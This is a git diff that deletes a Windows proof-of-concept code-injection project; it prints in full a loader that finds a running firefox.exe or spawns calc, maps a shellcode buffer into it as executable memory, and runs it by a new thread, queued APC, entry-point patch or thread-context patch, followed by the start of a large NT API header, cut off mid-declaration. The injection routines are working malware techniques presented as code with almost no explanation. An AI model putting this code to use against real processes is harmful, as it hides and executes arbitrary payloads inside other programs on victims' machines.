diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h
deleted file mode 100644
index f68f995e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/enumproc.h
+++ /dev/null
@@ -1,55 +0,0 @@
-#pragma once
-#include
-
-bool get_process_name(IN HANDLE hProcess, OUT LPWSTR nameBuf, IN SIZE_T nameMax)
-{
- HMODULE hMod;
- DWORD cbNeeded;
-
- if (EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded)) {
- GetModuleBaseName( hProcess, hMod, nameBuf, nameMax );
- return true;
- }
- return false;
-}
-
-bool is_searched_process( DWORD processID, LPWSTR searchedName)
-{
- HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );
- if (hProcess == NULL) return false;
-
- WCHAR szProcessName[MAX_PATH];
- if (get_process_name(hProcess, szProcessName, MAX_PATH)) {
- if (wcsstr(szProcessName, searchedName) != NULL) {
- printf( "%S (PID: %u)\n", szProcessName, processID );
- CloseHandle(hProcess);
- return true;
- }
- }
- CloseHandle(hProcess);
- return false;
-}
-
-HANDLE find_running_process(LPWSTR searchedName)
-{
- DWORD aProcesses[1024], cbNeeded, cProcesses;
- unsigned int i;
-
- if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded)) {
- return NULL;
- }
-
- //calculate how many process identifiers were returned.
- cProcesses = cbNeeded / sizeof(DWORD);
-
- //search handle to the process of defined name
- for ( i = 0; i < cProcesses; i++ ) {
- if( aProcesses[i] != 0 ) {
- if (is_searched_process(aProcesses[i], searchedName)) {
- HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, aProcesses[i]);
- return hProcess;
- }
- }
- }
- return NULL;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h
deleted file mode 100644
index 05e79724..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/kernel32_undoc.h
+++ /dev/null
@@ -1,32 +0,0 @@
-#pragma once
-
-#include
-
-//don't forget to load functiond before use:
-//load_kernel32_functions();
-//
-
-BOOL
-(WINAPI *CreateProcessInternalW)(HANDLE hToken,
- LPCWSTR lpApplicationName,
- LPWSTR lpCommandLine,
- LPSECURITY_ATTRIBUTES lpProcessAttributes,
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- BOOL bInheritHandles,
- DWORD dwCreationFlags,
- LPVOID lpEnvironment,
- LPCWSTR lpCurrentDirectory,
- LPSTARTUPINFOW lpStartupInfo,
- LPPROCESS_INFORMATION lpProcessInformation,
- PHANDLE hNewToken
- );
-
-
-BOOL load_kernel32_functions()
-{
- HMODULE hKernel32 = GetModuleHandleA("kernel32");
- CreateProcessInternalW = (BOOL (WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32,"CreateProcessInternalW");
- if (CreateProcessInternalW == NULL) return FALSE;
-
- return TRUE;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp b/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp
deleted file mode 100644
index 8b50ad10..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/main.cpp
+++ /dev/null
@@ -1,127 +0,0 @@
-#include
-#include
-
-#include "main.h"
-#include "createproc.h"
-#include "enumproc.h"
-
-#include "payload.h"
-#include "map_buffer_into_process.h"
-#include "sysutil.h"
-
-typedef enum {
- ADD_THREAD,
- ADD_APC,
- PATCH_EP,
- PATCH_CONTEXT
-} INJECTION_POINT;
-
-typedef enum {
- EXISTING_PROC,
- NEW_PROC,
- TRAY_WINDOW
-} TARGET_TYPE;
-
-using namespace std;
-
-bool inject_in_new_process(INJECTION_POINT mode)
-{
- //get target path
- WCHAR cmdLine[MAX_PATH];
- get_calc_path(cmdLine, MAX_PATH);
-
- WCHAR startDir[MAX_PATH];
- if (!get_dir(cmdLine, startDir)) {
- GetSystemDirectory(startDir, MAX_PATH);
- }
- printf("Target: %S\n", cmdLine);
- //create suspended process
- PROCESS_INFORMATION pi;
- memset(&pi, 0, sizeof(PROCESS_INFORMATION));
- if (create_new_process2(pi, cmdLine, startDir) == false) {
- return false;
- }
- LPVOID remote_shellcode_ptr = map_buffer_into_process1(pi.hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
- bool result = false;
- switch (mode) {
- case ADD_THREAD:
- result = run_shellcode_in_new_thread(pi.hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
- // not neccessery to resume the main thread
- break;
- case ADD_APC:
- result = add_shellcode_to_apc(pi.hThread, remote_shellcode_ptr);
- ResumeThread(pi.hThread); //resume the main thread
- break;
- case PATCH_EP:
- result = paste_shellcode_at_ep(pi.hProcess, remote_shellcode_ptr, pi.hThread);
- ResumeThread(pi.hThread); //resume the main thread
- break;
- case PATCH_CONTEXT:
- result = patch_context(pi.hThread, remote_shellcode_ptr);
- ResumeThread(pi.hThread); //resume the main thread
- break;
- }
-
- //close handles
- ZwClose(pi.hThread);
- ZwClose(pi.hProcess);
- return result;
-}
-
-bool inject_in_existing_process()
-{
- HANDLE hProcess = find_running_process(L"firefox.exe");
- LPVOID remote_shellcode_ptr = map_buffer_into_process1(hProcess, g_Shellcode, sizeof(g_Shellcode), PAGE_EXECUTE_READWRITE);
- if (remote_shellcode_ptr == NULL) {
- return false;
- }
- return run_shellcode_in_new_thread(hProcess, remote_shellcode_ptr, THREAD_CREATION_METHOD::usingRandomMethod);
-}
-
-int main()
-{
- if (load_ntdll_functions() == FALSE) {
- printf("Failed to load NTDLL function\n");
- return (-1);
- }
- if (load_kernel32_functions() == FALSE) {
- printf("Failed to load KERNEL32 function\n");
- return (-1);
- }
-
- // compatibility checks:
- if (!is_system32b()) {
- printf("[WARNING] Your ystem is NOT 32 bit! Some of the methods may not work.\n");
- }
- if (!is_compiled_32b()) {
- printf("[WARNING] It is recommended to compile the loader as a 32 bit application!\n");
- }
-
- // choose the method:
- TARGET_TYPE targetType = TARGET_TYPE::NEW_PROC;
- switch (targetType) {
- case TARGET_TYPE::TRAY_WINDOW:
- if (!is_system32b()) {
- printf("[ERROR] Not supported! Your system is NOT 32 bit!\n");
- break;
- }
- // this injection is more fragile, use shellcode that makes no assumptions about the context
- if (inject_into_tray(g_Shellcode, sizeof(g_Shellcode))) {
- printf("[SUCCESS] Code injected into tray window!\n");
- break;
- }
- case TARGET_TYPE::EXISTING_PROC:
- if (inject_in_existing_process()) {
- printf("[SUCCESS] Code injected into existing process!\n");
- break;
- }
- case TARGET_TYPE::NEW_PROC:
- if (inject_in_new_process(INJECTION_POINT::PATCH_EP)) {
- printf("[SUCCESS] Code injected into a new process!\n");
- break;
- }
- }
-
- system("pause");
- return 0;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/main.h b/Win32/Proof of Concepts/ExtraWindowInject/src/main.h
deleted file mode 100644
index 3ad89e41..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/main.h
+++ /dev/null
@@ -1,13 +0,0 @@
-#pragma once
-
-#include "ntdll_undoc.h"
-#include "kernel32_undoc.h"
-
-#include "target_util.h"
-
-//injection types:
-#include "add_thread.h"
-#include "add_apc.h"
-#include "patch_ep.h"
-#include "patch_context.h"
-#include "window_long_inject.h"
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h b/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h
deleted file mode 100644
index 7fb3be5e..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/map_buffer_into_process.h
+++ /dev/null
@@ -1,67 +0,0 @@
-#pragma once
-#include // for printf
-#include
-#include "ntddk.h"
-
-//set of alternative functions doing the same by a different way
-
-PVOID map_buffer_into_process1(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
-{
- HANDLE hSection = NULL;
- OBJECT_ATTRIBUTES hAttributes;
- memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
-
- LARGE_INTEGER maxSize;
- maxSize.HighPart = 0;
- maxSize.LowPart = static_cast(buffer_size);
- NTSTATUS status = NULL;
- if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, protect, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
- {
- printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
- return NULL;
- }
-
- PVOID sectionBaseAddress = NULL;
- ULONG viewSize = 0;
- SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
-
- // map the section in context of current process:
- if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, protect)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
- printf("Section BaseAddress: %p\n", sectionBaseAddress);
-
- memcpy (sectionBaseAddress, buffer, buffer_size);
- printf("Buffer copied!\n");
-
- //map the new section into context of opened process
- PVOID sectionBaseAddress2 = NULL;
- if ((status = NtMapViewOfSection(hSection, hProcess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, protect)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
- return NULL;
- }
-
- //unmap from the context of current process
- ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
- ZwClose(hSection);
-
- printf("Section mapped at address: %p\n", sectionBaseAddress2);
- return sectionBaseAddress2;
-}
-
-LPVOID map_buffer_into_process2(HANDLE hProcess, LPBYTE buffer, SIZE_T buffer_size, DWORD protect = PAGE_EXECUTE_READWRITE)
-{
- LPVOID remoteAddress = VirtualAllocEx(hProcess, NULL, buffer_size, MEM_COMMIT | MEM_RESERVE, protect);
- if (remoteAddress == NULL) {
- printf("Could not allocate memory in the remote process\n");
- return NULL;
- }
- if (!WriteProcessMemory(hProcess, remoteAddress, buffer, buffer_size, NULL)) {
- VirtualFreeEx(hProcess,remoteAddress, buffer_size, MEM_FREE);
- return NULL;
- }
- return remoteAddress;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h b/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h
deleted file mode 100644
index c6338e9b..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/ntddk.h
+++ /dev/null
@@ -1,4292 +0,0 @@
-#ifndef __NTDLL_H__
-#define __NTDLL_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-#include
-
-#ifdef _NTDDK_
-#error This header cannot be compiled together with NTDDK
-#endif
-
-
-#ifndef _NTDLL_SELF_ // Auto-insert the library
-#pragma comment(lib, "Ntdll.lib")
-#endif
-
-#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
-
-#pragma warning(push)
-#pragma warning(disable:4005)
-#include
-#pragma warning(pop)
-
-//------------------------------------------------------------------------------
-// Defines for NTSTATUS
-
-typedef long NTSTATUS;
-
-#ifndef NT_SUCCESS
-#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
-#endif
-
-#ifndef STATUS_SUCCESS
-#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
-#endif
-
-#ifndef STATUS_UNSUCCESSFUL
-#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
-#endif
-
-#ifndef ASSERT
-#ifdef _DEBUG
-#define ASSERT(x) assert(x)
-#else
-#define ASSERT(x) /* x */
-#endif
-#endif
-
-//------------------------------------------------------------------------------
-// Structures
-
-typedef enum _EVENT_TYPE
-{
- NotificationEvent,
- SynchronizationEvent
-
-} EVENT_TYPE;
-
-//
-// ANSI strings are counted 8-bit character strings. If they are
-// NULL terminated, Length does not include trailing NULL.
-//
-
-#ifndef _NTSECAPI_
-typedef struct _STRING
-{
- USHORT Length;
- USHORT MaximumLength;
- PCHAR Buffer;
-
-} STRING, *PSTRING;
-
-//
-// Unicode strings are counted 16-bit character strings. If they are
-// NULL terminated, Length does not include trailing NULL.
-//
-
-typedef struct _UNICODE_STRING
-{
- USHORT Length;
- USHORT MaximumLength;
- PWSTR Buffer;
-
-} UNICODE_STRING, *PUNICODE_STRING;
-#endif // _NTSECAPI_
-
-typedef STRING ANSI_STRING;
-typedef PSTRING PANSI_STRING;
-
-typedef STRING OEM_STRING;
-typedef PSTRING POEM_STRING;
-typedef CONST STRING* PCOEM_STRING;
-
-typedef const UNICODE_STRING *PCUNICODE_STRING;
-
-#define UNICODE_NULL ((WCHAR)0) // winnt
-
-//
-// Valid values for the Attributes field
-//
-
-#ifndef OBJ_CASE_INSENSITIVE
-#define OBJ_INHERIT 0x00000002L
-#define OBJ_PERMANENT 0x00000010L
-#define OBJ_EXCLUSIVE 0x00000020L
-#define OBJ_CASE_INSENSITIVE 0x00000040L
-#define OBJ_OPENIF 0x00000080L
-#define OBJ_OPENLINK 0x00000100L
-#define OBJ_KERNEL_HANDLE 0x00000200L
-#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
-#define OBJ_VALID_ATTRIBUTES 0x000007F2L
-
-//
-// Object Attributes structure
-//
-
-typedef struct _OBJECT_ATTRIBUTES
-{
- ULONG Length;
- HANDLE RootDirectory;
- PUNICODE_STRING ObjectName;
- ULONG Attributes;
- PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
- PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
-
-} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
-#endif // OBJ_CASE_INSENSITIVE
-
-//
-// IO_STATUS_BLOCK
-//
-
-typedef struct _IO_STATUS_BLOCK
-{
- union
- {
- NTSTATUS Status;
- PVOID Pointer;
- };
-
- ULONG_PTR Information;
-
-} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
-
-//
-// ClientId
-//
-
-typedef struct _CLIENT_ID
-{
- HANDLE UniqueProcess;
- HANDLE UniqueThread;
-
-} CLIENT_ID, *PCLIENT_ID;
-
-
-//
-// CURDIR structure
-//
-
-typedef struct _CURDIR
-{
- UNICODE_STRING DosPath;
- HANDLE Handle;
-
-} CURDIR, *PCURDIR;
-
-
-//------------------------------------------------------------------------------
-// Macros
-
-// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString
-#ifndef INIT_UNICODE_STRING
-#define INIT_UNICODE_STRING(us, wch) \
- us.MaximumLength = (USHORT)sizeof(wch); \
- us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \
- us.Buffer = wch
-#endif
-
-
-#ifndef InitializeObjectAttributes
-#define InitializeObjectAttributes( p, n, a, r, s ) { \
- (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
- (p)->RootDirectory = r; \
- (p)->Attributes = a; \
- (p)->ObjectName = n; \
- (p)->SecurityDescriptor = s; \
- (p)->SecurityQualityOfService = NULL; \
- }
-#endif
-
-
-#ifndef InitializePortHeader
-#define InitializeMessageHeader( ph, l, t ) { \
- (ph)->TotalLength = (USHORT)(l); \
- (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \
- (ph)->Type = (USHORT)(t); \
- (ph)->VirtualRangesOffset = 0; \
- }
-#endif
-
-//-----------------------------------------------------------------------------
-// Image functions
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlImageNtHeader (
- IN PVOID BaseAddress
- );
-
-NTSYSAPI
-PVOID
-NTAPI
-RtlImageDirectoryEntryToData (
- IN PVOID Base,
- IN BOOLEAN MappedAsImage,
- IN USHORT DirectoryEntry,
- OUT PULONG Size
- );
-
-//-----------------------------------------------------------------------------
-// Unicode string functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlStringFromGUID(
- IN REFGUID Guid,
- OUT PUNICODE_STRING GuidString
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlInitUnicodeString(
- PUNICODE_STRING DestinationString,
- PCWSTR SourceString
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlCreateUnicodeString(
- OUT PUNICODE_STRING DestinationString,
- IN PCWSTR SourceString
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlCreateUnicodeStringFromAsciiz(
- OUT PUNICODE_STRING Destination,
- IN PCSTR Source
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlPrefixUnicodeString (
- IN PUNICODE_STRING String1,
- IN PUNICODE_STRING String2,
- IN BOOLEAN CaseInSensitive
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlDuplicateUnicodeString(
- IN BOOLEAN AllocateNew,
- IN PUNICODE_STRING SourceString,
- OUT PUNICODE_STRING TargetString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAppendUnicodeToString (
- PUNICODE_STRING Destination,
- PCWSTR Source
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAppendUnicodeStringToString(
- IN OUT PUNICODE_STRING Destination,
- IN PUNICODE_STRING Source
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlUnicodeStringToInteger (
- IN PUNICODE_STRING String,
- IN ULONG Base OPTIONAL,
- OUT PULONG Value
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlIntegerToUnicodeString (
- IN ULONG Value,
- IN ULONG Base OPTIONAL,
- IN OUT PUNICODE_STRING String
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlGUIDFromString(
- IN PUNICODE_STRING GuidString,
- OUT GUID *Guid
- );
-
-
-NTSYSAPI
-LONG
-NTAPI
-RtlCompareUnicodeString (
- IN PUNICODE_STRING String1,
- IN PUNICODE_STRING String2,
- IN BOOLEAN CaseInSensitive
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlCopyUnicodeString(
- OUT PUNICODE_STRING DestinationString,
- IN PUNICODE_STRING SourceString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlUpcaseUnicodeString (
- OUT PUNICODE_STRING DestinationString,
- IN PUNICODE_STRING SourceString,
- IN BOOLEAN AllocateDestinationString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlDowncaseUnicodeString (
- OUT PUNICODE_STRING DestinationString,
- IN PUNICODE_STRING SourceString,
- IN BOOLEAN AllocateDestinationString
- );
-
-
-NTSYSAPI
-BOOLEAN
-NTAPI
-RtlEqualUnicodeString (
- IN PUNICODE_STRING String1,
- IN PUNICODE_STRING String2,
- IN BOOLEAN CaseInSensitive
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlFreeUnicodeString(
- IN PUNICODE_STRING UnicodeString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlAnsiStringToUnicodeString (
- OUT PUNICODE_STRING DestinationString,
- IN PANSI_STRING SourceString,
- IN BOOLEAN AllocateDestinationString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlUnicodeStringToAnsiString (
- OUT PANSI_STRING DestinationString,
- IN PUNICODE_STRING SourceString,
- IN BOOLEAN AllocateDestinationString
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlInitAnsiString (
- OUT PANSI_STRING DestinationString,
- IN PCHAR SourceString
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlFreeAnsiString (
- IN PANSI_STRING AnsiString
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlFormatCurrentUserKeyPath(
- OUT PUNICODE_STRING CurrentUserKeyPath
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlRaiseStatus (
- IN NTSTATUS Status
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-DbgBreakPoint(
- VOID
- );
-
-
-NTSYSAPI
-ULONG
-_cdecl
-DbgPrint (
- PCH Format,
- ...
- );
-
-
-NTSYSAPI
-ULONG
-NTAPI
-RtlRandom(
- IN OUT PULONG Seed
- );
-
-//-----------------------------------------------------------------------------
-// Critical section functions
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlInitializeCriticalSection(
- IN PRTL_CRITICAL_SECTION CriticalSection
- );
-
-
-NTSYSAPI
-BOOL
-NTAPI
-RtlTryEnterCriticalSection(
- IN PRTL_CRITICAL_SECTION CriticalSection
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlEnterCriticalSection(
- IN PRTL_CRITICAL_SECTION CriticalSection
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlLeaveCriticalSection(
- IN PRTL_CRITICAL_SECTION CriticalSection
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-RtlDeleteCriticalSection(
- IN PRTL_CRITICAL_SECTION CriticalSection
- );
-
-//-----------------------------------------------------------------------------
-// Object functions
-
-//
-// Object Manager Directory Specific Access Rights.
-//
-
-#ifndef DIRECTORY_QUERY
-#define DIRECTORY_QUERY (0x0001)
-#define DIRECTORY_TRAVERSE (0x0002)
-#define DIRECTORY_CREATE_OBJECT (0x0004)
-#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008)
-#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF)
-#endif
-
-typedef enum _POOL_TYPE {
- NonPagedPool,
- PagedPool,
- NonPagedPoolMustSucceed,
- DontUseThisType,
- NonPagedPoolCacheAligned,
- PagedPoolCacheAligned,
- NonPagedPoolCacheAlignedMustS,
- MaxPoolType
-} POOL_TYPE;
-
-
-//
-// For NtQueryObject
-//
-
-typedef enum _OBJECT_INFORMATION_CLASS {
- ObjectBasicInformation, // = 0
- ObjectNameInformation, // = 1
- ObjectTypeInformation, // = 2
- ObjectTypesInformation, // = 3 //object handle is ignored
- ObjectHandleFlagInformation // = 4
-} OBJECT_INFORMATION_CLASS;
-
-//
-// NtQueryObject uses ObjectBasicInformation
-//
-
-typedef struct _OBJECT_BASIC_INFORMATION {
- ULONG Attributes;
- ACCESS_MASK GrantedAccess;
- ULONG HandleCount;
- ULONG PointerCount;
- ULONG PagedPoolCharge;
- ULONG NonPagedPoolCharge;
- ULONG Reserved[3];
- ULONG NameInfoSize;
- ULONG TypeInfoSize;
- ULONG SecurityDescriptorSize;
- LARGE_INTEGER CreationTime;
-} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
-
-//
-// NtQueryObject uses ObjectNameInformation
-//
-
-typedef struct _OBJECT_NAME_INFORMATION {
- UNICODE_STRING Name;
-} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
-
-//
-// NtQueryObject uses ObjectTypeInformation
-//
-
-typedef struct _OBJECT_TYPE_INFORMATION {
- UNICODE_STRING TypeName;
- ULONG TotalNumberOfObjects;
- ULONG TotalNumberOfHandles;
- ULONG TotalPagedPoolUsage;
- ULONG TotalNonPagedPoolUsage;
- ULONG TotalNamePoolUsage;
- ULONG TotalHandleTableUsage;
- ULONG HighWaterNumberOfObjects;
- ULONG HighWaterNumberOfHandles;
- ULONG HighWaterPagedPoolUsage;
- ULONG HighWaterNonPagedPoolUsage;
- ULONG HighWaterNamePoolUsage;
- ULONG HighWaterHandleTableUsage;
- ULONG InvalidAttributes;
- GENERIC_MAPPING GenericMapping;
- ULONG ValidAccessMask;
- BOOLEAN SecurityRequired;
- BOOLEAN MaintainHandleCount;
- POOL_TYPE PoolType;
- ULONG DefaultPagedPoolCharge;
- ULONG DefaultNonPagedPoolCharge;
-} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
-
-//
-// NtQueryObject uses ObjectHandleFlagInformation
-// NtSetInformationObject uses ObjectHandleFlagInformation
-//
-
-typedef struct _OBJECT_HANDLE_FLAG_INFORMATION {
- BOOLEAN Inherit;
- BOOLEAN ProtectFromClose;
-} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION;
-
-//
-// NtQueryDirectoryObject uses this type
-//
-
-typedef struct _OBJECT_DIRECTORY_INFORMATION {
- UNICODE_STRING Name;
- UNICODE_STRING TypeName;
-} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtOpenDirectoryObject(
- OUT PHANDLE DirectoryHandle,
- IN ACCESS_MASK DesiredAccess,
- IN POBJECT_ATTRIBUTES ObjectAttributes
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryDirectoryObject(
- IN HANDLE DirectoryHandle,
- OUT PVOID Buffer,
- IN ULONG Length,
- IN BOOLEAN ReturnSingleEntry,
- IN BOOLEAN RestartScan,
- IN OUT PULONG Context,
- OUT PULONG ReturnLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQueryObject (
- IN HANDLE ObjectHandle,
- IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
- OUT PVOID ObjectInformation,
- IN ULONG Length,
- OUT PULONG ResultLength OPTIONAL
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetInformationObject (
- IN HANDLE ObjectHandle,
- IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
- IN PVOID ObjectInformation,
- IN ULONG Length
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtDuplicateObject (
- IN HANDLE SourceProcessHandle,
- IN HANDLE SourceHandle,
- IN HANDLE TargetProcessHandle OPTIONAL,
- OUT PHANDLE TargetHandle OPTIONAL,
- IN ACCESS_MASK DesiredAccess,
- IN ULONG HandleAttributes,
- IN ULONG Options
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtQuerySecurityObject (
- IN HANDLE ObjectHandle,
- IN SECURITY_INFORMATION SecurityInformation,
- OUT PSECURITY_DESCRIPTOR SecurityDescriptor,
- IN ULONG DescriptorLength,
- OUT PULONG ReturnLength
- );
-
-
-NTSYSAPI
-NTSTATUS
-NTAPI
-NtSetSecurityObject (
- IN HANDLE ObjectHandle,
- IN SECURITY_INFORMATION SecurityInformation,
- IN PSECURITY_DESCRIPTOR SecurityDescriptor
- );
-
-
-//-----------------------------------------------------------------------------
-// Handle table RTL functions
-
-#define LEVEL_HANDLE_ID 0x74000000
-#define LEVEL_HANDLE_ID_MASK 0xFF000000
-#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF
-
-typedef enum _RTL_GENERIC_COMPARE_RESULTS {
- GenericLessThan,
- GenericGreaterThan,
- GenericEqual
-} RTL_GENERIC_COMPARE_RESULTS;
-
-
-typedef struct _RTL_SPLAY_LINKS
-{
- struct _RTL_SPLAY_LINKS *Parent;
- struct _RTL_SPLAY_LINKS *LeftChild;
- struct _RTL_SPLAY_LINKS *RightChild;
-} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS;
-
-
-struct _RTL_GENERIC_TABLE;
-
-typedef
-RTL_GENERIC_COMPARE_RESULTS
-(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) (
- struct _RTL_GENERIC_TABLE *Table,
- PVOID FirstStruct,
- PVOID SecondStruct
- );
-
-typedef
-PVOID
-(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) (
- struct _RTL_GENERIC_TABLE *Table,
- ULONG ByteSize
- );
-
-typedef
-VOID
-(NTAPI *PRTL_GENERIC_FREE_ROUTINE) (
- struct _RTL_GENERIC_TABLE *Table,
- PVOID Buffer
- );
-
-
-typedef struct _RTL_GENERIC_TABLE {
- PRTL_SPLAY_LINKS TableRoot;
- LIST_ENTRY InsertOrderList;
- PLIST_ENTRY OrderedPointer;
- ULONG WhichOrderedElement;
- ULONG NumberGenericTableElements;
- PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;
- PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;
- PRTL_GENERIC_FREE_ROUTINE FreeRoutine;
- PVOID TableContext;
-} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE;
-
-
-typedef struct _RTL_HANDLE_TABLE_ENTRY
-{
- struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */
- PVOID Object;
-
-} RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY;
-
-
-typedef struct _RTL_HANDLE_TABLE
-{
- ULONG MaximumNumberOfHandles;
- ULONG SizeOfHandleTableEntry;
- ULONG Unknown01;
- ULONG Unknown02;
- PRTL_HANDLE_TABLE_ENTRY FreeHandles;
- PRTL_HANDLE_TABLE_ENTRY CommittedHandles;
- PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles;
- PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles;
-} RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE;
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlInitializeGenericTable (
- IN PRTL_GENERIC_TABLE Table,
- IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,
- IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,
- IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine,
- IN PVOID TableContext
- );
-
-
-NTSYSAPI
-VOID
-NTAPI
-RtlInitializeHandleTable(
- IN ULONG MaximumNumberOfHandles,
- IN ULONG SizeOfHandleTableEntry,
- OUT PRTL_HANDLE_TABLE HandleTable
- );
-
-
-NTSYSAPI
-PRTL_HANDLE_TABLE_ENTRY
-NTAPI
-RtlAllocateHandle(
